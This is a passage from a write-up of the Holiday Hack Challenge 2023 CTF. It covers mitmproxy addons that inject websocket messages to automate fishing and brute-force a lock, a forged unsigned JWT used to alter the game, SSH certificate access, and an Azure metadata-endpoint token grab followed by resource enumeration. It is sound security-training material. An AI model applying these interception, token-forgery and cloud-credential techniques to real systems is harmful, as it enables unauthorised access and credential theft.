            ctx.log.info(f'{mode} - Caught {fish_data["name"]}, {round(fish_data["rarity"] * 100, 1)}%')
        return flow

    elif mode == "ks":
        # Keyboard events (client)
        # ks:1
        direction, active_keys = calculate_state(message)
        if "ANCHOR" in active_keys:
            ctx.log.info(f"Stopping")
            gdata["dir"] = None
            gdata["canFish"] = True
        elif direction and gdata["dir"] != direction:
            VERBOSE_STATUS and ctx.log.info(f"Heading in {direction}")
        if direction:
            gdata["dir"] = direction
            gdata["fishing"] = False
            gdata["canFish"] = False
            if not "BOOST" in active_keys:
                # Always boost
                ks = "ks:" + str(int(message) | KEYS["BOOST"])
                flow.websocket.messages[-1].content = ks.encode()
                flow.websocket.messages[-1].text = ks
                # ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, ks.encode)
    else:
        ctx.log.alert(f"{mode} - Unable to parse message: '{raw_message.text}'")

    # Autocast
    if not gdata["fishing"] and not gdata["racetrack"] and gdata["canFish"]:
        if not autocast_time:
            autocast_time = datetime.now()
        elif (datetime.now() - autocast_time).total_seconds() >= AUTOCAST_MIN_TIME:
            ctx.log.alert(f"Automatically casting ...")
            ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, b"cast")
            gdata["fishing"] = True
    else:
        autocast_time = None

    return flow


def websocket_message(flow: http.HTTPFlow):
    assert flow.websocket is not None
    message = flow.websocket.messages[-1]
    address = "Client" if message.from_client else "Server"
    if message.is_text:
        VERBOSE_ALL_WS and ctx.log.info(f"url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.text}")
    else:
        VERBOSE_ALL_WS and ctx.log.info(f"url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.content!r}")
    if flow.request.url.startswith("https://2023.holidayhackchallenge.com/") and "?dockSlip=" in flow.request.path:
        flow = parse_message(flow, message)

To enable SSL trust, add the mitmdump certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:

burp-upstream

We can see it is able to automatically cast and reel successfully. Note, this opens TCP Port 9000 on execution.

mitm_sail.py
reset; sudo mitmdump -s mitm_sail.py --listen-port 9000 --set flow_detail=0
...[snip]..
[16:31:39.080] Automatically casting ...
[16:31:39.081] Fishing started!
[16:31:42.052] Whirly Snuffleback Trout on the hook -> Automatically reeling
[16:31:42.058] Fishing ended!
[16:31:42.109] f - Caught Whirly Snuffleback Trout, 54.4%
[16:31:45.088] Automatically casting ...
[16:31:45.092] Fishing started!

Having run this overnight, we successfully caught 170 fish! Initially thinking we were finished, it turns out there are actually 171 fish, with one mysteriously absent.

While tackling additional challenges, I stumbled upon an intriguing comment labeled as [DEV ONLY] in the reference section of https://2023.holidayhackchallenge.com/sea/?dockSlip=:

<!-- <a href='fishdensityref.html'>[DEV ONLY] Fish Density Reference</a> -->

This comment referred to a hidden html page that loaded contained a fish density overlays for the minimap that can be used to find rare fish. This page loads all the densities of all the fish. The respective images are loaded in the page via hyperlinks of the format https://2023.holidayhackchallenge.com/sea/assets/noise/<fish_name>.png.

With the help of ChatGPT, we were able to regex all of the fish names and come up with 171 total!

# Total of 171 fish
cat fishdensityref.html | grep -oP 'h3>\K[^<]*' | sort -u > fish.txt
cat fish.txt | wc -l
171

Next we need to find the fish that we are missing:

diff <( cat fish.txt ) <( cat fish.json | jq -r '.[].name' | sort -u )
97d96
< Piscis Cyberneticus Skodo

Using the minimap, we can overlay one of these fish density maps ontop of it:

wget https://2023.holidayhackchallenge.com/sea/assets/noise/Piscis%20Cyberneticus%20Skodo.png -O Piscis.png
wget https://2023.holidayhackchallenge.com/sea/assets/minimap.png
convert -compose over -background none Piscis.png minimap.png -flatten minimap-Piscis.png

overlayed

In the sole fishing spot shown above, after an hour, we finally caught our missing fish among the 171 total. This achievement was unlocked by speaking to Poinsettia McMittens at the Squarewheel Yard dock on the Island of Misfit Toys.

Achievement

Congratulations! You have completed the BONUS! Fishing Mastery challenge!

Luggage Lock

Luggage Lock (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials

If we moving to the south-western part of the island, we find Garland Candlesticks close to a challenge in a flowerbed.

garland

When speaking with Garland Candlesticks, we obtain the following hint:

Lock Talk

Check out Chris Elgee’s talk regarding his and his wife’s luggage. Sounds weird but interesting!

After reviewing Chris Elgee’s talk, he goes over three techniques to solve the lock on the suitcase:

  1. There are notches on sides of buttons that when aligned can provide insight into the combination. Turn them all together in the same direction and attempt to open.
  2. Apply slight pressure on TSA Keyhole and turn the buttons. They will get stuck on the valid numbers.
  3. Bruteforce all combinations (obvious)

When we startup the challenge, it spins up a luggage lock decoder window:

startup

Technique 2 - TSA Keyhole Pressure

Clicking the TSA Keyhole button (x1-2) and turn the buttons. Eventually there will be a “Dial resistance …” popup at the top of the screen to signify that it is the correct digit, as shown below:

dialresistance

Do this for all tumblers selected and challenge complete!

Technique 3 - Socket.io Man-in-the-Middle

Upon scrutinizing the traffic in BurpSuite within the WebSockets history, it becomes apparent that a Socket.io connection is being established. Furthermore, the server is transmitting and receiving information regarding guesses and their success status.

burphistory

Working our way back, we can find how our selection of 1-4 wheels is sent to the server and then the socket.io connection is created from there.

wheels

We can also automate this by using mitmdump with a Python addon to automate the replacement:

mitm_lock.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to inject a websocket message into a running connection using mitmdump.
Usage: reset; sudo mitmdump -s mitm_lock.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Luggage Lock
"""

# Imports
from mitmproxy import ctx
from mitmproxy import http
from itertools import product
import json
from random import shuffle
import re

# Constants
URL = "https://lockdecode.com/"
DEBUG = False

# Globals
g_wheels = None  # starts/stops attempts, stores # of wheels
g_combos = None  # stores all combos
g_lastcombo = None  # stores last combo for printing


def parse_socketio(flow, raw_message):
    global g_wheels, g_combos, g_lastcombo
    if raw_message.is_text:
        data = raw_message.text
        if data.startswith("42"):
            # Parse socket.io message, 42["message",{"Type":"Open","Success":"False"}]
            try:
                data = json.loads(data[2:])[1]
            except json.JSONDecodeError as e:
                ctx.log.error("Error decoding JSON:", e)
            except (IndexError, KeyError) as e:
                ctx.log.error("Error accessing data:", e)
            ctx.log.alert(f"Received {json.dumps(data)}")
        if g_wheels:
            if g_lastcombo and data and isinstance(data, dict) and data.get("Type") == "Open" and data.get("Success", "").lower() == "true":
                # Valid combination - reset for next game
                ctx.log.alert(f"VALID COMBINATION: {g_lastcombo}")
                g_wheels = None
                g_combos = None
                g_lastcombo = None
            else:
                if not g_combos and (isinstance(data, dict) or data == "6"):
                    # Initial - Generate all combinations of strings, 6 is sent from server to acknowledge when everything is ready
                    g_combos = ["".join(map(str, combo)) for combo in product(range(10), repeat=g_wheels)]
                    shuffle(g_combos)
                if g_combos:
                    # Bruteforcing
                    g_lastcombo = g_combos.pop(0)
                    ctx.log.alert(f"ATTEMPT {g_lastcombo} ...")
                    new_message = ["message", {"Type": "Open", "Combo": f"{g_lastcombo}"}]
                    ctx.master.commands.call("inject.websocket", flow, raw_message.from_client, f"42{json.dumps(new_message)}".encode())

    return flow


def websocket_message(flow: http.HTTPFlow):
    assert flow.websocket is not None
    message = flow.websocket.messages[-1]
    address = "Client" if message.from_client else "Server"
    if flow.request.url.startswith(URL):
        if message.is_text:
            DEBUG and ctx.log.info(f"WS - url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.text}")
        else:
            DEBUG and ctx.log.info(f"WS - url:{flow.request.url} and path:{flow.request.path} - {address} sent a message: {message.content!r}")
        if not message.from_client:
            # Parse server socket.io messages
            flow = parse_socketio(flow, message)


def request(flow: http.HTTPFlow):
    global g_wheels
    assert flow.request is not None
    if flow.request.url.startswith(URL):
        DEBUG and ctx.log.info(f"HTTP - url:{flow.request.url} and path:{flow.request.path} - req:{flow.request.data.content}")
    # Fetch wheels from HTTP request
    if flow.request.url.startswith("https://lockdecode.com/game") and b"wheels" in flow.request.data.content:
        match = re.search(r"wheels=(\d+)", flow.request.data.content.decode("utf-8"))
        if match:
            g_wheels = int(match.group(1))
            ctx.log.alert(f"WHEELS: {g_wheels}")


def response(flow: http.HTTPFlow):
    assert flow.response is not None
    if flow.request.url.startswith(URL):
        DEBUG and ctx.log.info(
            f"HTTP - url:{flow.request.url} and path:{flow.request.path} - req:{flow.request.data.content} resp:{flow.response.data.content}"
        )

To enable SSL trust, add the mitmdump certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:

upstream

We can see it bruteforces Four Wheels (4-digit combinations, 10000 possible, range: 0000-9999) successfully. Note, this opens TCP Port 9000 on execution.

mitm_lock.py
reset; sudo mitmdump -s mitm_lock.py --listen-port 9000 --set flow_detail=0
[16:23:58.281] WHEELS: 4
[16:23:59.718][192.168.0.10:64141] client connect
[16:23:59.965][192.168.0.10:64141] server connect lockdecode.com:443 (34.111.47.250:443)
[16:24:00.431] Received {"Type": "Setup", "Probabilities": [[0.32666666666666666, 0.16666666666666666, 0.21333333333333335, 0.26666666666666666, 0.21666666666666667, 0.18999999999999997, 0.25666666666666665, 0.6733333333333333, 0.17666666666666667, 0.2333333333333333], [0.7133333333333334, 0.049999999999999996, 0.15, 0.07333333333333333, 0.18666666666666668, 0.32, 0.2866666666666667, 0.023333333333333334, 0.006666666666666667, 0.24], [0.18000000000000002, 0.9033333333333333, 0.20666666666666667, 0.20666666666666667, 0.21666666666666667, 0.3, 0.27, 0.11, 0.11333333333333334, 0.2733333333333333], [0.17666666666666667, 0.8533333333333333, 0.18333333333333335, 0.3233333333333333, 0.09333333333333334, 0.19666666666666666, 0.0, 0.013333333333333334, 0.2733333333333333, 0.02666666666666667]], "PlayerId": "c56f2bf5-f13a-46ea-92db-efed5fb26cdb"}
..[snip]..
[16:24:05.420] Received {"Type": "Open", "Success": "False"}
[16:24:05.420] ATTEMPT 1188 ...
[16:24:05.452] Received {"Type": "Open", "Success": "True", "Token": {"hash": "null"}, "PlayerId": "212137bb-a565-437f-be1d-eb7f8bf2c218"}
[16:24:05.452] VALID COMBINATION: 1188

Luggage unlocks:

unlock4

When the luggage opens:

inluggage

Achievement

Congratulations! You have completed the Luggage Lock challenge!

Port of Tarnished Trove

While exploring the Island of Misfit Toys, we discover the Port of Tarnished Trove. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Dusty Giftwrap to greet us!

dock

When we make land, we obtain new objectives on arrival.

Game Cartridges: Vol 1 (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island) 🎄🎄🎄🎄🎄

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island) 🎄🎄🎄🎄🎄

Find the third Gamegosling cartridge and beat the game

Full Island (Zoomed Out)

zoom30

Game Cartridges: Vol 1

Game Cartridges: Vol 1 (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Find the first Gamegosling cartridge and beat the game

When speaking with Dusty Giftwrap, we obtain the following hint:

Approximate Proximity

Listen for the gameboy cartridge detector’s proximity sound that activates when near buried treasure. It may be worth checking around the strange toys in the Tarnished Trove.

Finding the Game Cartridge

The game cartridge was found under the hat in the north west part of the island!

hat

We can now find the “Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol1” in our Items:

cartridge

When we click on the game in our inventory, it launches from https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/ with a Gameboy ROM of game.gb.

wget https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/rom/game.gb -O game-vol1.gb
visualboyadvance-m game-vol1.gb

Speaking with Dusty Giftwrap after we obtained the game cartridge, we obtain the following hint:

Gameboy 1
  1. Giving things a little push never hurts. 2) Out of sight but not out of ear-shot 3) You think you fixed the QR code? Did you scan it and see where it leads?

Vol 1 Gameplay

Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.

visualboyadvance-m game-vol1.gb

In visualboyadvance-m emulator, the K key is mapped to B, and L key is mapped to A. The WASD keys are to move.

Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 1:

gamestartup

gamestartup

Clicking “New Game” the following speech continues:

Jared: Elf, have you ever heard of a miner named Tom Liston?
Elf: What does he mine?
Jared: Crypt-o-coin?
Elf: *GASP* The long lost treasure of the undead toe?
Elf: I can't believe it!
Elf: I'd love to quest for the treasure but there ain't no way I'll ever find this Tom Lis..
Jared: I'm sending you Tom's first, middle, and last name. His home address. His cell number. And the last four of social.
*ELF'S CELL PHONE CHIMES*
Elf: Excellent! Never fear Very Senior Technical Engineer Jared Folkins.
Elf: I will find this treasure and LIston and I will receive ...
Jared: *GROANS* Oooh no...
Elf: Muuuch!
T-Wiz: I absolutely know what Elf's about to say!
Elf: Gloooooory!

After the speech, we exit the cave:

cave

Exiting the cave:

exitcave

We navigate using our arrow or WASD keys to the south by heading left around a black block:

south

Kody the Dog - QR Code

Once, we proceed through the entrance, we can find ourselves in a new area with Kody the dog:

kody

*Woof* Hi, I'm  Kody! Can you plz fix this QR Code? The developers cheaped out and now a few  sing-song blocks  are not in the  correct position. If you sing to the blocks that are  misplaced, they will sing back! Try singing to the block to the south of my position. Hopefully you can fix the misaligned QR blocks.
Block 1

Moving down and clicking “B” (with the K key) on a block, we can see it flashes to move:

block1

We need to “bump” into the black box and put it on the dashed box a certain way…

block1

Block 2

Within the bottom-right corner

block2

block2

Block 3

Within the bottom-right corner

block3

block3

Block 4 & 5

Within the bottom-right corner (on the other side):

block4

Within the bottom-right corner (on the other side):

block5

Moving both blocks down 1 …

block4

Moving block 4 into place:

block4

Place block 5 into place:

block5

Block 6

Within the bottom-right corner (on the other side):

block6

Place block 6 into place:

block6

Block 7

Towards the top of the QR code left of Kody the Dog:

block7

This block has to be moved to the right-side of the QR code:

block7

After block 7 was placed:

qr

qr

qr

Scanning the QR code using zbarimg:

$ zbarimg qr.png
QR-Code:http://8bitelf.com
scanned 1 barcode symbols from 1 images in 0.04 seconds

We can see the link is http://8bitelf.com with the flag flag:santaconfusedgivingplanetsqrcode

$ curl -L http://8bitelf.com
<html>
   <body>
      <p>flag:santaconfusedgivingplanetsqrcode</p>
   </body>
</html>

We enter in the answer into our badge for the objective: Answer: santaconfusedgivingplanetsqrcode

Achievement

Congratulations! You have completed the Game Cartridges: Vol 1 challenge!

Pixel Island

Embark on your journey to Pixel Island by steering our ship using the arrow keys on the keyboard or the WASD keys. The island awaits in the top-right corner of the map. Safe travels and enjoy the exploration!

map

There are two different ports available:

Port of Rainmaster Cliffs

While exploring the Pixel Island, we discover the Port of Rainmaster Cliffs. Upon reaching it, a “Dock Now” option is presented to us.

docknow

When we make land, we obtain a new objective on arrival.

Elf Hunt (Pixel Island) 🎄🎄🎄🎄🎄

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

The dock featured the Goose of Pixel Island to greet us!

dock

Full Island (Zoomed Out)

zoom30

Elf Hunt

Elf Hunt (Pixel Island) 🎄🎄🎄🎄🎄

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

If we proceed to the right of the dock, and up a ladder. We find Piney Sappington close to a challenge and started it up!

piney

When speaking with Piney Sappington, we obtain the following hint:

JWT Secrets Revealed

Unlock the mysteries of JWTs with insights from PortSwigger’s JWT Guide.

When we startup the challenge, it spins up a elf-shooting game:

startup

Clicking on the Hint button (lower-left corner), we can get a hint on how to complete the challenge.

hint

We can find JWT parsing utilities when analyzing the main JavaScript code at https://elfhunt.org/static//js/main.js:

function parseJwtPayload(token) {
  // Split the JWT into its three parts
  const parts = token.split(".");
  // The payload is the second part. We decode it from base64 and parse the JSON
  try {
    const decodedPayload = atob(parts[1]);
    const jsonObj = JSON.parse(decodedPayload);
    return jsonObj;
  } catch (e) {
    console.error("Failed to parse JWT payload", e);
    return null;
  }
}

function getCookie(name) {
  // This function will read the cookie by name
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(";").shift();
  return null;
}

function getDecodedJwtPayload(cookiename) {
  // This function retrieves the JWT from the cookie and decodes it
  const jwt = getCookie(cookiename);
  if (jwt) {
    return parseJwtPayload(jwt);
  } else {
    console.log("JWT not found");
    return null;
  }
}

We can also see references on to a JWT in the browser cookies. Inspecting the browser cookies, we see an ElfHunt_JWT.

browser

Using an JWT inspection utility (https://jwt.io/), we can see the payload contains the speed variable. We can attempt to manipulate this and reload the application.

jwt

We can also use Python to generate our new JWT easier.

elfhunt.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to manipulate a JWT.
Holiday Hack 2023
Terminal: ElfHunt
"""

# Imports
import json
import jwt

# Original ElfHunt_JWT Cookie
token_orig = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0."
json_orig = jwt.decode(token_orig, algorithms=["none"], options={"verify_signature": False})
print(f"Original ElfHunt_JWT - Encoded JWT: {token_orig} Decoded Payload: {json.dumps(json_orig)}")

# Modified ElfHunt_JWT Cookie
json_modified = json_orig
json_modified["speed"] = -100
token_mainipulated = jwt.encode(json_modified, algorithm=None, key=None)
print(f"Modified ElfHunt_JWT - Encoded JWT: {token_mainipulated} Decoded Payload: {json.dumps(json_modified)}")
$ python3 elfhunt.py
Original ElfHunt_JWT - Encoded JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0. Decoded Payload: {"speed": -500}
Modified ElfHunt_JWT - Encoded JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTEwMH0. Decoded Payload: {"speed": -100}

We manually go to Developer Tools (F12), Storage, and Cookies on the Left. Go to https://elfhunt.org cookies. Clear all the cookies and then readd a ElfHunt_JWT with the new JWT that was generated above that lowers the speed of the elves! Note, the speed value is, so lower speeds (more negative) are faster and higher speeds (more positive) are slower.

jwt

Going from -500 to -100 in speed, the elves are drastically reduced in speed and the game in completeable! After manually shooting 75 elves, we get a Game Token and successfully complete the challenge.

congrats

Achievement

Congratulations! You have completed the Elf Hunt challenge!

Clicking the Game Token, a Captains Journal pops up:

gamejournal

We unlocked a new objective:

Certificate SSHenanigans (Pixel Island) 🎄🎄🎄🎄🎄

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Certificate SSHenanigans

Certificate SSHenanigans (Pixel Island) 🎄🎄🎄🎄🎄

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

If we keep proceeding to the right of Piney Sappington, there are about 3 ladders to climb up to the top of the tree. We find Alabaster Snowball on the very top of the tree!

piney

When speaking with Alabaster Snowball, we obtain the following two hints on the next objective:

Azure Function App Source Code

The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.

SSH Certificates Talk

Check out Thomas Bouve’s talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.

We also obtained a hint previously from Sparkle Redberry:

Azure VM Access Token

Azure CLI tools aren’t always available, but if you’re on an Azure VM you can always use the Azure REST API instead.

SSH Server

Alabaster Snowball

I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.

Verifying the SSH server exists at ssh-server-vm.santaworkshopgeeseislands.org:

nc -zv ssh-server-vm.santaworkshopgeeseislands.org 22
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Connected to 20.253.83.128:22.
Ncat: 0 bytes sent, 0 bytes received in 0.08 seconds.

Generate SSH key for the monitor user, per Alabaster Snowball “Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.”

ssh-keygen -C '[email protected]' -f monitor_key

Using the Azure Function App, we can obtain our SSH certificate public key:

azure

Pasting in our monitor_key.pub contents, we can obtain the certificate signed key!

$ cat monitor_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC0B3vLBqyEzwQwNS+JWVQqscbyHxsCH1u2i1Z0yGwu+RAw0u577RHKwM+njMZKLhqqhfJ94UffIClEZUvEFFIoigvij/cWQEKg6lRylCe2kmQOgv0qDr0kprm4J1kRTdvbsj7OIyYqeoHZRK0RNWTHqg1tBc2zVQr9SYw9x/NlJiLf5ZgZ25K9DMdS/lEB6Ugxw4GR/dOdf7EkVY3RI+IPo+pKKO6TClb294eKacJPAcePavEqjIyrAT71fWnrdmmSKLebxj6O8mg4lWAvdSOgbECubna9v7tyqX71JrBXQ/Pz91DPR9V6Owwv7jIiWas3Pq2TpqpA7xhVesfudD5t0pwUrjT58xkxK3FT4DFui+gI2pHFgxd+4kpqlx2JDGFeI/t4ft5uUmv+j++1s+suknk5VLvTn28HO8e2lEiUIXw2GrtH8s8QaWA4bm8BBzRL+ITSrI0AGGnJPpdexpgFz7wo95uXaQHOEmTV3HlwJ7jrJfT7CtMJ4U6AkmjcD8= [email protected]

request

{
    "ssh_cert": "[email protected] AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACY3NTIzODI0MTMxMzU5Njc5MzgyMzIxMjA5ODE4NTA1NzIzOTgzMAAAAAMBAAEAAAGBAMLQHe8sGrITPBDA1L4lZVCqxxvIfGwIfW7aLVnTIbC75EDDS7nvtEcrAz6eMxkouGqqF8n3hR98gKURlS8QUUiiKC+KP9xZAQqDqVHKUJ7aSZA6C/SoOvSSmubgnWRFN29uyPs4jJip6gdlErRE1ZMeqDW0FzbNVCv1JjD3H82UmIt/lmBnbkr0Mx1L+UQHpSDHDgZH9051/sSRVjdEj4g+j6koo7pMKVvb3h4ppwk8Bx49q8SqMjKsBPvV9aet2aZIot5vGPo7yaDiVYC91I6BsQK5udr2/u3KpfvUmsFdD8/P3UM9H1Xo7DC/uMiJZqzc+rZOmqkDvGFV6x+50Pm3SnBSuNPnzGTErcVPgMW6L6AjakcWDF37iSmqXHYkMYV4j+3h+3m5Sa/6P77Wz6y6SeTlUu9Ofbwc7x7aUSJQhfDYau0fyzxBpYDhubwEHNEv4hNKsjQAYack+l17GmAXPvCj3m5dpAc4SZNXceXAnuOsl9PsK0wnhToCSaNwPwAAAAAAAAABAAAAAQAAACQ3MjIzN2QxMi1lMDg0LTRjZjktODIwNi1kODkwY2U5N2IzZGEAAAAHAAAAA2VsZgAAAABlklPUAAAAAGW3PwAAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAk8QbYMZQR3/qvp4fctazkOO7wSCUZvMpV7/2j+Co210tUEX8HrA5iO2u7VqtxLDZjxf1MRd9u11iA8KomuvAL ",
    "principal": "elf"
}
echo -n '[email protected] AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACY3NTIzODI0MTMxMzU5Njc5MzgyMzIxMjA5ODE4NTA1NzIzOTgzMAAAAAMBAAEAAAGBAMLQHe8sGrITPBDA1L4lZVCqxxvIfGwIfW7aLVnTIbC75EDDS7nvtEcrAz6eMxkouGqqF8n3hR98gKURlS8QUUiiKC+KP9xZAQqDqVHKUJ7aSZA6C/SoOvSSmubgnWRFN29uyPs4jJip6gdlErRE1ZMeqDW0FzbNVCv1JjD3H82UmIt/lmBnbkr0Mx1L+UQHpSDHDgZH9051/sSRVjdEj4g+j6koo7pMKVvb3h4ppwk8Bx49q8SqMjKsBPvV9aet2aZIot5vGPo7yaDiVYC91I6BsQK5udr2/u3KpfvUmsFdD8/P3UM9H1Xo7DC/uMiJZqzc+rZOmqkDvGFV6x+50Pm3SnBSuNPnzGTErcVPgMW6L6AjakcWDF37iSmqXHYkMYV4j+3h+3m5Sa/6P77Wz6y6SeTlUu9Ofbwc7x7aUSJQhfDYau0fyzxBpYDhubwEHNEv4hNKsjQAYack+l17GmAXPvCj3m5dpAc4SZNXceXAnuOsl9PsK0wnhToCSaNwPwAAAAAAAAABAAAAAQAAACQ3MjIzN2QxMi1lMDg0LTRjZjktODIwNi1kODkwY2U5N2IzZGEAAAAHAAAAA2VsZgAAAABlklPUAAAAAGW3PwAAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAk8QbYMZQR3/qvp4fctazkOO7wSCUZvMpV7/2j+Co210tUEX8HrA5iO2u7VqtxLDZjxf1MRd9u11iA8KomuvAL' > monitor_key-cert.pub

Now we can use our private key and signed certificate public key to SSH into the server:

ssh -i monitor_key -i monitor_key-cert.pub [email protected]

When we initially login, we get a Satellite Tracking Interface GUI. However, we can CTRL+C out of it.

sattracker

monitor@ssh-server-vm:~$

The SatTrackr application that starts up is located /usr/local/bin/sattrackr that can be found in our ~/.bashrc file.

Azure Enumeration

We can now enumerate our Azure environment by using curl and jq to acquire an access token:

accessToken=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true' | jq -r '.access_token')

Back on Christmas Island, we completed Azure101 and obtained information on the resource-group already that is relevant to the challenge:

elf@058d72e304f5:~$ az functionapp list --resource-group northpole-rg1 | less
[
  {
    "appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
    "availabilityState": "Normal",
    "clientAffinityEnabled": false,
    "clientCertEnabled": false,
    "clientCertExclusionPaths": null,
    "clientCertMode": "Required",
    "cloningInfo": null,
    "containerSize": 0,
    "customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59DBEA",
    "dailyMemoryTimeQuota": 0,
    "defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
    "extendedLocation": null,
    "hostNameSslStates": [
      {
        "certificateResourceId": null,
        "hostType": "Standard",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      },
      {
        "certificateResourceId": null,
        "hostType": "Repository",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      }
    ],
    "hostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
..[snip]..
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
    "identity": {
      "principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
      "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
      "type": "SystemAssigned",
      "userAssignedIdentities": null
    },
    "inProgressOperationId": null,
    "isDefaultContainer": null,
    "isXenon": false,
    "keyVaultReferenceIdentity": "SystemAssigned",
    "kind": "functionapp,linux",
    "lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
    "location": "East US",
    "maxNumberOfWorkers": null,
    "name": "northpole-ssh-certs-fa",
    "outboundIpAddresses": "",
    "possibleOutboundIpAddresses": "",
    "publicNetworkAccess": null,
    "redundancyMode": "None",
    "repositorySiteName": "northpole-ssh-certs-fa",
    "reserved": true,
    "resourceGroup": "northpole-rg1",
..[snip]..
    "tags": {
      "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
      "project": "northpole-ssh-certs"
    },
..[snip]..

Looking into the hint “The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from” we can get details on this application:

curl -s -H "Authorization: Bearer $accessToken" 'https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01' | jq .
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
  "name": "northpole-ssh-certs-fa",
  "type": "Microsoft.Web/sites/sourcecontrols",
  "location": "East US",
  "tags": {
    "project": "northpole-ssh-certs",
    "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
  },
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
    "branch": "main",
    "isManualIntegration": false,
    "isGitHubAction": true,
    "deploymentRollbackEnabled": false,
    "isMercurial": false,
    "provisioningState": "Succeeded",
    "gitHubActionConfiguration": {
      "codeConfiguration": null,
      "containerConfiguration": null,
      "isLinux": true,
      "generateWorkflowFile": true,
      "workflowSettings": {
        "appType": "functionapp",
        "publishType": "code",
        "os": "linux",
        "variables": {
          "runtimeVersion": "3.11"
        },
        "runtimeStack": "python",
        "workflowApiVersion": "2020-12-01",
